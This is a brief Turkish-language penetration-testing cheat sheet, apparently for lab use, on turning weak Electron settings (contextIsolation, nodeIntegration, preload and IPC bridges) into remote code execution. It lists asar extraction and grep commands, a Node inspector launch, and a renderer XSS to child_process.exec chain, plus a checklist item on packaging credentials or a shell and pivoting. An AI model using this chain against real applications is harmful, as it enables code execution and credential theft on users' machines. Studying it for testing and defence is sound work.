Electron contextIsolation RCE via IPC

Electron rce

Electron masaüstü uygulamalarında nodeIntegration, zayıf preload ve IPC köprüleri RCE üretir. Hedef: renderer → Node. Hedef lab IP’si üzerinde komutları 80 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. ASAR/paket çıkar.

2. contextIsolation/nodeIntegration kontrol.

3. IPC/preload sink bul.

4. Payload ile RCE.

Çıkarma

npx asar extract app.asar out/

rg -n 'nodeIntegration|contextIsolation|preload' out/

rg -n 'ipcMain|ipcRenderer|exposeInMainWorld' out/

Exploit

python3 -c 'print(open("poc.js").read())'

preload prototype pollution / IPC without validation

electron . --inspect=9229

PoC

renderer XSS → require('child_process').exec

curl -s http://localhost:9229/json

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

asar → weak bridge → renderer to Node RCE
